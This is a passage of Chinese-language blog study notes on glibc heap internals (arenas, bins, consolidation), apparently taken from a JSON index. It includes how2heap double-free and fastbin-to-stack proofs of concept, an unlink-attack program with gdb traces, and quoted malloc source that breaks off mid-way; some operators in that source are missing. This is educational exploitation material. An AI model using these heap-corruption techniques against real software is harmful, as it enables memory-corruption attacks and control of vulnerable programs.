在之前的调试中也曾发现,main_arena似乎存在于栈上,而在CTF-WIKI中将其描述为全局变量。每个Arena都有自己的一套malloc_state、malloc_par、heap_info结构体,Arena中的一系列堆通过Arena进行管理(这样解释似乎有些怪异因为malloc_state结构体中存在指向Arena的指针,但也有一定的合理性,它在某种程度上方便了笔者的理解)\n        可以先假设这样一个场景:\n        某个进程存在两个线程A、B并发运行,存在一个chunk p。现在,线程A进行free(p),而线程B则要往chunk p处写入一些数据。假设A稍快一点,它先被处理器进行处理,那么系统就要先阻塞线程B的请求,直到线程A的事情已经做完了为止。当线程A结束了,系统就会发现这块地址不可写,然后阻止它进行这个操作\n        但是,阻塞是一件非常耗时的工作。如果只有少量这种情况发生,似乎也不是不能接受这种开销,但如果需要处理大量的多线程工作,这种阻塞就将带来严重的浪费。\n        如果我们为不同的线程开辟不同的Arena,每个Arena都有自己的Bins,那么线程B就不需要等待线程A,可以直接操作自己的Arena去申请或是释放chunk\n        当然,实际调试中会发现,我们开辟的chunk总是在Arena下方(往高地址处),我们也可以将其理解为每个线程自己的一个“主堆”,这样就能避开那些“可以不使用堆锁的情况”\n​ ​\n插画ID:91629597\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅱ——Free与Bins)","url":"/2021/08/07/glibc-2/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\nFree与Bins:        malloc如果一旦和free混用,情况就变得复杂了。我们可以先思考一下下面的问题:\n\n        如果只能malloc的话,那么内存最终必然会被消耗殆尽,因此free函数的存在是必须的。\n        假设我连续申明了A,B,C,D四个chunk,并且现在释放掉了B\n        倘若我现在需要申请一块刚好比B大16字节的chunk E,那么B就不能使用了,我们只能从C后面去找\n        又倘若这种情况非常多,那么就可能会有很多的内存被这样浪费掉了\n        如果我们现在又释放掉了C,那么E就能够从A和D之间申请了,但操作系统如果没有将B和C进行合并,那么就会以为是两块刚好不足的内存,我们仍然只能从D后面去找地方开辟空间,就会浪费更多的内存。\n\n        为了解决包括上述问题在内的诸多浪费问题,free有一套明确的策略(适用于教早的版本,与现代稍有出入,但思路是一致的):\n1.如果Size中M位被标记,表明chunk由mmap分配,则直接将其归还给系统\n2.否则,如果该chunk的P位未标记,表明上一个chunk处于释放,向上合并成更大的chunk\n3.如果chunk的下一个chunk未被使用,则向下合并为更大的chunk\n4.如果chunk与Top Chunk相邻,就直接与其合并\n5.否则,放入适当的Bins中\n        现代堆管理器建立了一系列的Bins以储存不久前被释放的chunk,包括:SmallBin,LargeBin,UnsortedBin,FastBin,TcacheBin,前三种是最古老的版本,而后两种则是近代为了进一步优化效率而产生的,现在的管理器使用这五种来处理释放chunk的操作\nstruct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free).*/ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead.*/ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };//再次抄写以方便查阅\n\n\nSmallBin:​\n        SmallBin共有62个。在 32 位系统上,小于 512 字节(或在 64 位系统上小于 1024 字节)的每个块都有一个相应的小 bin。由于每个小 bin 仅存储一种大小的块,因此它们会自动排序 \n        这些块则通过显示链表相互连接,通过FD POINTER和BK POINTER形成双向链表\nstruct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk;\n\n\n        在上一章中介绍过chunk的结构体,其中非常驻的前两个成员则在chunk被释放后发挥作用\n        由于我们已经不会再使用这个chunk了,因此操作系统能够直接覆盖掉原本的数据来为该chunk建立两个指针,并将它挂进链表的头部(取出时也从头部取出)\nLargeBin:​\n        总共63个。其存放的规则如图所示。由于它不像Small Bin那样每个Bin中只有固定大小的chunk,因此在Large Bin中会对chunk进行排序\nstruct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;\n\n\n        同时,在Large Bin中,最后两个指针也会发挥作用。\n        它们分别指向:下一个小于该大小的chunk和下一个大于该大小的chunk\n 且,最大的堆头的bk_nextsize指向最小的堆头;最小的堆头的fd_nextsize指向最大的堆头\n 例如:Bin 2中的第一个chunk的fd指针一个指向Bin 1中的第一个\n        (注:这两个指针仅对链表的头结点有意义,其他节点则没有这两个指针)\nUnsortedBin:​\n         结构如图,只有一个。其由来的解释摘抄自下文:\n\nThe heap manager improves this basic algorithm one step further using an optimizing cache layer called the “unsorted bin”. This optimization is based on the observation that often frees are clustered together, and frees are often immediately followed by allocations of similarly sized chunks. For example, a program releasing a tree or a list will often release many allocations for every entry all at once, and a program updating an entry in a list might release the previous entry before allocating space for its replacement.\n\n        大致意思就是:用户常常在释放资源后立刻由进行了一系列分配(比方说二叉树之类的,其更新需要释放又申请),如果立刻讲这些chunk放进Small Bin或者Large Bin,那上述情况的开销就会过大,延缓程序运行。因此程序会先从这个Bin中去寻找合适的chunk返回,如果没有合适的,才去其他Bins中寻找,如果还是没找到,那才会采取其他方式\n        这个链表是不进行排序的。在这个Bin中,堆管理器会立刻合并在物理地址上相邻的chunk。在malloc的时候会优先(如果大小较小,则可能先从Fast Bin开始)遍历这个Bin去找合适的内存地址\n        需要注意的是,malloc从该Bin中获取chunk的途径是 切割该Bin中已有的chunk,将足够大的空间返回给用户,而剩下的空间仍然保存在该Bin中,直到触发特定条件(当其无法满足malloc的申请,就会将所有内容放入合适的Bins中)\n        (注:先进先出)\nFast Bin:​\n        总共10个,均为单向链表,涵盖大小为 16、24、32、40、48、56、64、72、80 和 88 字节的chunk,同样不需要额外的排序操作。\n        但特殊的是,被放入这里的chunk并不会被标记为“未被利用”,即下一个chunk的P位不会被置零,这种表现像是还未被释放一样。\n\nThe downside of fastbins, of course, is that fastbin chunks are not “truly” freed or merged, and this would eventually cause the memory of the process to fragment and balloon over time. To resolve this, heap manager periodically “consolidates” the heap. This “flushes” each entry in the fast bin by “actually freeing” it, i.e., merging it with adjacent free chunks, and placing the resulting free chunks onto the unsorted bin for malloc to later use.\n\n         大致意思为:堆管理器会定期整理这个Bin,将其合并后投放到合适的Bin中\n\nThis “consolidation” stage occurs whenever a malloc request is made that is larger than a fastbin can service (i.e., for chunks over 512 bytes or 1024 bytes on 64-bit), when freeing any chunk over 64KB (where 64KB is a heuristically chosen value), or when malloc_trim or mallopt are called by the program.\n\n        当释放超过64 KB 的任何块时\n        每当发出大于fastbin可以服务的malloc请求时\n        程序调用malloc_trim或mallopt时\n        满足上述三种情况中任意一种,都会触发合并操作\nTcacheBin:​\n         在libc-2.23版本中还未创建这个结构,其主要目的是解决一个进程下多个线程对堆进行的异步操作问题而设计,由于这已经超出了本章内容,因此在这里不做特别说明,具体内容将放在第七章介绍\n额外说明:        Bins这一系列结构在底层的实现表现为一整个数组\n        数组的第一个元素指向Unsorted Bin\n        第二个到第六十三个则为Small Bin,以此类推,大致如下图:\n​\n        在gdb调试中可以通过bins查看到当前的Bins结构 \ndb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n参考文章:\nhttps://nightrainy.github.io/2019/05/06/glic%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#bins\nhttps://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/ ​\n插画ID:90945914\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)","url":"/2021/08/07/glibc-3/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\n环境与工具:        Ubuntu16.4 / gcc / (gdb)pwn-dbg\n        范例:howtoheap2\n搭建调试环境:git clone https://github.com/shellphish/how2heap.gitcd how2heapmake\n\n\n        对于GitHub可能速度过慢的情况,可以尝试使用Gitee拷贝仓库,再从Gitee处克隆仓库\nfastbin_dup_into_stack:我们有必要使用glibc2.23版本下的环境来进行这种调试。在更高版本中,已经修复了这个漏洞。这当然对系统来说是好事,但对于试图理解其原理的学习者来说,少一些限制往往能够更加快速的理解。\n        如下为源代码:(我并未做出删减,以方便让说明与调试过程相统一)\n#include <stdio.h>#include <stdlib.h>int main(){fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\\n" "returning a pointer to a controlled location (in this case, the stack).\\n");unsigned long long stack_var;fprintf(stderr, "The address we want malloc() to return is %p.\\n", 8+(char *)&stack_var);fprintf(stderr, "Allocating 3 buffers.\\n");int *a = malloc(8);int *b = malloc(8);int *c = malloc(8);fprintf(stderr, "1st malloc(8): %p\\n", a);fprintf(stderr, "2nd malloc(8): %p\\n", b);fprintf(stderr, "3rd malloc(8): %p\\n", c);fprintf(stderr, "Freeing the first one...\\n");free(a);fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\\n", a, a);// free(a);fprintf(stderr, "So, instead, we'll free %p.\\n", b);free(b);fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\\n", a);free(a);fprintf(stderr, "Now the free list has [ %p, %p, %p ]. ""We'll now carry out our attack by modifying data at %p.\\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "1st malloc(8): %p\\n", d);fprintf(stderr, "2nd malloc(8): %p\\n", malloc(8));fprintf(stderr, "Now the free list has [ %p ].\\n", a);fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\\n""so now we are writing a fake free size (in this case, 0x20) to the stack,\\n""so that malloc will think there is a free chunk there and agree to\\n""return a pointer to it.\\n", a);stack_var = 0x20;fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\\n", malloc(8));fprintf(stderr, "4th malloc(8): %p\\n", malloc(8));}\n\n\n调试阶段:test@ubuntu:~/how2heap/glibc_2.23$ gdb fastbin_dup_into_stack gdb-peda$ b 14Breakpoint 1 at 0x40071d: file glibc_2.23/fastbin_dup_into_stack.c, line 14.gdb-peda$ b 23Breakpoint 2 at 0x4007bc: file glibc_2.23/fastbin_dup_into_stack.c, line 23.gdb-peda$ b 29Breakpoint 3 at 0x400806: file glibc_2.23/fastbin_dup_into_stack.c, line 29.gdb-peda$ b 32Breakpoint 4 at 0x40082f: file glibc_2.23/fastbin_dup_into_stack.c, line 32.gdb-peda$ b 36Breakpoint 5 at 0x40086a: file glibc_2.23/fastbin_dup_into_stack.c, line 36.gdb-peda$ run\n\n\n        可以在如上位置下断点,然后开始调试程序。\n         通过continue和n运行到24行,也就是第一次执行free函数的位置,输入bins可以查看当前bins中的内容\ngdb-peda$ binsfastbins0x20: 0x603000 ◂— 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n        可以看见,此时,fastbins中已经有了第一个节点。继续往下,直到第二次free结束时\ngdb-peda$ binsfastbins0x20: 0x603020 —▸ 0x603000 ◂— 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n        可以看见,此时第二个节点也挂进fastbins链表的头部了。继续往下调试,直到第三个free函数被执行:\ngdb-peda$ binsfastbins0x20: 0x603000 —▸ 0x603020 ◂— 0x6030000x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\ngdb-peda$ heap0x603000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x603020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21}0x603020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x603000, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21}0x603040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fa1}0x603060 PREV_INUSE { prev_size = 0x0, size = 0x20fa1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        可以看见,此时堆中的两个chunk在FastBins的链表中形成了一个闭环。\n        这是一个非常反直觉的行为,因为我们执行了两次free(a),并且系统并没有报错\n       (注:笔者在Kali2021版本中以相同代码进行调试则会出现报错,在该版本中已经存在Tcache Bins,示例中的free函数会将chunk放入Tcache Bins中而不是Fast Bins,因此调试失败)\n         联系上一章内容,Fast Bins中的chunk并不是真正处于释放状态,因此系统在执行free函数的时候检查当前chunk的状态时会发现它仍然在被使用,因此我们可以多次进行free(a)的操作而不出现错误\n        但这并不意味着系统不会做出检查:下方代码摘自ctf-wik,有删减\n/* Lightweight tests: check whether the block is already the top block. */// 当前free的chunk不能是top chunkif (__glibc_unlikely(p == av->top)) { errstr = "double free or corruption (top)"; goto errout;}// 当前要free的chunk的使用标记没有被标记,double free/* Or whether the block is actually not marked used. */if (__glibc_unlikely(!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout;} \n\n\n        根据注释可知,free函数的检查只判断当前目标是否处于Top chunk,也就是链表的头部。由于我们free(b)的执行,此时Top Chunk为chunk b,并且由于处在Fast Bins中,因此也绕过了第二个检查,所以成功对 a 进行了两次free操作\n        接下来的内容请根据如下代码进行调试:\n#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h>int main(){int *a = malloc(8);int *b = malloc(8);free(a);free(b);free(a);int *c = malloc(8);int *d = malloc(8);int *e = malloc(8);int *f = malloc(8);return 0;}\n\n\ngcc -g heap2.c -o heap2gdb heap2b 13run\n\n\n        我删处了很多不必要的说明以方便我们更加直观的看到DoubleFree的效果\n        直接运行到第13行,并且完成接下来的四次malloc操作:\n───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────In file: /home/giantbranch/Desktop/class/heap2.c 8 int *a = malloc(8); 9 int *b = malloc(8); 10 free(a); 11 free(b); 12 free(a); ► 13 int *c = malloc(8); 14 int *d = malloc(8); 15 int *e = malloc(8); 16 int *f = malloc(8); 17 return 0; 18 }\n\n\n        当我们运行到第17行时再查看如下变量: \ngdb-peda$ p c$5 = (int *) 0x602010gdb-peda$ p d$6 = (int *) 0x602030gdb-peda$ p e$7 = (int *) 0x602010gdb-peda$ p f$8 = (int *) 0x602030\n\n\n        我们发现,不论怎么申请都只会得到这两个地址了。它们交错出现,只要我们申请的内存能够从这个Bin中取出,那么我们现在就只能得到这两个地址了。\n        从malloc的角度来说,它会取出Bins的第一个节点,并将其他节点往上挂入头节点中。\n        而在回环的链表中,取出第一个节点后,第二个节点成为新的第一个节点,而新的第二个节点则又是第一个节点(这样说十分绕口,建议手动调试一下),因此没办法像平常操作那样取出目标了\n        而从这个出现顺序也能够猜出,Fast Bins是先进后出的结构\nfastbin_dup_consolidate:        我没有使用范例给出的程序,而是自己写了更加方便调试的类似的代码\n#include <stdio.h>#include <stdlib.h>int main(){void* p1 = malloc(0x40);void* p2 = malloc(0x40);free(p1);void* p3 = malloc(0x400);free(p1);void* p4 = malloc(0x40);void* p5 = malloc(0x40);}\n\n\n        同样编译后运行到第9行,此时的bins:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x602000 ◂— 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n         此时,chunk p1已经被放入Fast Bins中,当我们再次申请一块超出Fast Bins能够服务的chunk时,即执第9行代码:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbins0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000largebinsempty\n\n\n        发生了合并consolidate,并将chunk p1送入Small Bins中,。继续往下执行第10行:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x602000 ◂— 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbins0x50 [corrupted]FD: 0x602000 ◂— 0x0BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000largebinsempty\n\n\n         第11行:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbins0x50 [corrupted]FD: 0x602000 ◂— 0x0BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000largebinsempty\n\n\n        第12行:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n        这个实际结果与上一章所述相同。在第12行代码中,堆管理器检查Small Bins发现可用,分割该chunk分配给 p5,并将该chunk取出Bins。\n引用:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/#_3 ​\n插画ID:90981187\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)","url":"/2021/08/07/glibc-4/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\n参考文章:        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。\n 安全客:https://www.anquanke.com/post/id/197481\n 看雪:https://bbs.pediy.com/thread-224836.htm\n CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/\n环境与工具:        环境:Ubuntu16.4 / gcc / (gdb)pwn-dbg\n        范例:Heap Exploitation系列unlink部分(源代码将直接在下面贴出)\n源代码:#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h> struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding}; int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\\n", &chunk1); printf("%p\\n", chunk1); printf("%p\\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\\n", chunk1); printf("%p\\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\\n", data); return 0;}\n\n\n代码调试:        读者可以试着先行阅读一下代码,看看是否能够理解其逻辑。笔者在调试时由于对指针和寻址等相关知识的不熟练而倍感困惑,倘若读者在阅读代码过程中通畅无阻,那么这个案例便不是那么困难了。\ngdb-peda$ b 20Breakpoint 1 at 0x40067d: file test.c, line 20.gdb-peda$ b 31Breakpoint 2 at 0x4006db: file test.c, line 31.gdb-peda$ b 36Breakpoint 3 at 0x400703: file test.c, line 36.gdb-peda$ b 44Breakpoint 4 at 0x400731: file test.c, line 44.gdb-peda$ run\n\n\n        首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:\ngdb-peda$ continueContinuing.0x7fffffffde00 //chunk1指针地址0x602010 //chunk1堆地址——user data0x6020a0 //chunk2堆地址——user data\n\n\n        继续continue直到第36行,查看此时的heap\n0x602000 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x7fffffffdde8, bk_nextsize = 0x7fffffffddf0}0x602090 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602120 PREV_INUSE { prev_size = 0x0, size = 0x411, fd = 0x3061303230367830, bk = 0xa30306564660a, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602530 PREV_INUSE { prev_size = 0x0, size = 0x20ad1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        我们发现,chunk 1的 fd 和 bk 指针已经被指向了栈的地方。 \n        先抛开这究竟是如何实现的,我们需要先了解一下\n什么是Unlink:1459 /* Take a chunk off a bin list. */1460 static void1461 unlink_chunk (mstate av, mchunkptr p)1462 {1463 if (chunksize (p) != prev_size (next_chunk (p)))1464 malloc_printerr ("corrupted size vs. prev_size");1465 1466 mchunkptr fd = p->fd;1467 mchunkptr bk = p->bk;1468 1469 if (__builtin_expect (fd->bk != p bk->fd != p, 0))1470 malloc_printerr ("corrupted double-linked list");1471 1472 fd->bk = bk;1473 bk->fd = fd;1474 if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)1475 {1476 if (p->fd_nextsize->bk_nextsize != p1477 p->bk_nextsize->fd_nextsize != p)1478 malloc_printerr ("corrupted double-linked list (not small)");1479 1480 if (fd->fd_nextsize == NULL)1481 {1482 if (p->fd_nextsize == p)1483 fd->fd_nextsize = fd->bk_nextsize = fd;1484 else1485 {1486 fd->fd_nextsize = p->fd_nextsize;1487 fd->bk_nextsize = p->bk_nextsize;1488 p->fd_nextsize->bk_nextsize = fd;1489 p->bk_nextsize->fd_nextsize = fd;1490 }1491 }1492 else1493 {1494 p->fd_nextsize->bk_nextsize = p->bk_nextsize;1495 p->bk_nextsize->fd_nextsize = p->fd_nextsize;1496 }1497 }1498 }\n\n\n        Unlink实则为一个函数,在特定情况下被调用。函数功能为:将一个chunk从链表中摘下\n        这里所说的链表,其实就是Bins结构。\n        这里引用一下知世师傅的总结:\n使用unlink的时机\n\nmalloc\n在恰好大小的large chunk处取chunk时\n在比请求大小大的bin中取chunk时\n\n\nFree\n后向合并,合并物理相邻低物理地址空闲chunk时\n前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)\n\n\nmalloc_consolidate\n后向合并,合并物理相邻低地址空闲chunk时。\n前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)\n\n\nrealloc 前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)\n\n        其具体的执行效果一言蔽之就是:(P为链表中需要被摘下的节点)\nP->fd->bk = P->bk.P->bk->fd = P->fd.\n\n\n        本章我们将以Free时候发生Unlink来示范,看看堆管理器究竟在做些什么。\n调试继续:        我们查看一下两个指针的地址,并在图中标出:(不要过于纠结fake_chunk名字的意义)\ngdb-peda$ p fake_chunk $1 = (struct chunk_structure *) 0x602010gdb-peda$ p &fake_chunk $2 = (struct chunk_structure **) 0x7fffffffde10gdb-peda$ p &chunk1 $3 = (unsigned long long **) 0x7fffffffde00gdb-peda$ p &data$4 = (char (*)[20]) 0x7fffffffde20\n\n\n​\n         第32,33行的两行代码,我将其地址标注在上图中了。值得注意的是,这两个指针均为“指向chunk”的指针,即——将 &chunk1-3 与 &chunk1-2 视为了两个不同的chunk\nUnlink安全性检查:// fd bkif (__builtin_expect (FD->bk != P BK->fd != P, 0)) \\ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \\\n\n\n        由于这个检查,因此才有上面的伪造。\n        现在,不妨跟随一下这个检查,其要求为:(P为链表中需要被摘下的节点,此处是chunk1)\nP->fd->bk == PP->bk->fd == P\n\n\n         chunk1->fd=&chunk1-3,根据上面的栈表,我们可以轻松的发现:chunk1->fd->bk=602010\n        对于另外一个判断也是如此。我们成功的**将 栈 伪造成了两个chunk(fd和bk)**来骗过了管理器。\n调试继续:         因为\nfake_chunk = (struct chunk_structure *)chunk1;\n\n\n         因此,我们操作fake_chunk的fd/bk指针就是操作chunk1的对应指针,于是才有了前面给出的堆的状态。\n        继续调试,从第36行到44行。\n        chunk2_hdr是指向chunk2真正的开头的指针。在第二章中曾提到过,malloc返回的内容并不是真正指向chunk的开头,而是往下增加了16字节。\n        第37和38行则是在伪造chunk1的状态:\n        prev_size表示上一个相邻空闲块的大小(若该相邻块是被使用的,则会被占用,用来填充用户数据),第38行则将P标记位置0,表示上一个相邻块已被释放。\n        至此,我们已经伪造好了chunk1的状态。当使用free(chunk2)的时候,管理器会发现chunk1是处于被释放状态的,于是将chunk2和chunk1进行合并。\nFree与触发Unlink:        当我们执行\nfree(chunk2);\n\n\n        时候将触发Unlink,对chunk1做如下行为:\nP->fd->bk = P->bk.P->bk->fd = P->fd.\n\n\n        结果是令人疑惑的,但如果按照笔者上述的逻辑,大致还是能够理顺的:(P为chunk1)\n&(P->fd->bk)=0x7fffffffde10该地址处的内容被替换为(&chunk1-2)=0x7fffffffddf0&(P->bk->fd)=0x7fffffffde10该地址处的内容被替换为(&chunk1-3)=0x7fffffffdde8\n\n\n         现在我们再看chunk1与chunk[3],将得到相同的结果:\n​\ngdb-peda$ p chunk1$16 = (unsigned long long *) 0x7fffffffdde8gdb-peda$ p &chunk1[3]$17 = (unsigned long long *) 0x7fffffffde00gdb-peda$ p chunk1[3]$18 = 0x7fffffffdde8\n\n\n         “chunk1的内容和chunk1[3]相同,chunk1[3]的地址和chunk1的地址相同”,乍一看相当反直觉的表述,但根据栈图还是能够理解的,继续往下:\nchunk1[3] = (unsigned long long)data;\n\n\n​\n        此时,该操作就会将chunk1的值替换为Data的指针。因此,只要我们能够操作chunk1的值,就变相的能够读写Data中的数据了\nchunk1[0] = 0x002164656b636168LL;printf("%s\\n", data);//hacked!\n\n\n关于寻址:         说了这么多,最后是关于寻址的问题。\n        上文案例中,chunk1并不在Bins中,那这个Unlink的执行会否显得有些突兀?\n        从寻址的角度来说,管理器并不关心chunk1是否处于Bins中。它通过Size和Prev_Size来找到chunk1,并且由于chunk1的fd和bk指针都存在,管理器就误认为chunk1是被挂在Bins中的一个节点。也就是说,堆管理器并没有检查Bins中是否真的存在这个节点。\n        实际上,即使chunk1真的是Bins中的一个节点,这种寻址方式也不会有任何问题,它会顺利的摘下chunk1;只是在本例中,管理器以为自己从Bins中摘除了chunk1罢了 ​\n插画ID:91110244\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅴ——从Large Bin Attack理解malloc对Bins的分配)","url":"/2021/08/07/glibc-5/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n参考文章:        同样先引用如下两篇文章。如果读者能够通过如下三篇文章掌握Large Bin Attack,那么本篇便只是附带品,没有什么其他内容\nhttps://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\nhttps://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/\nhttps://bbs.pediy.com/thread-262424.htm\n条件背景:while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){ bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size = PREV_INUSE; 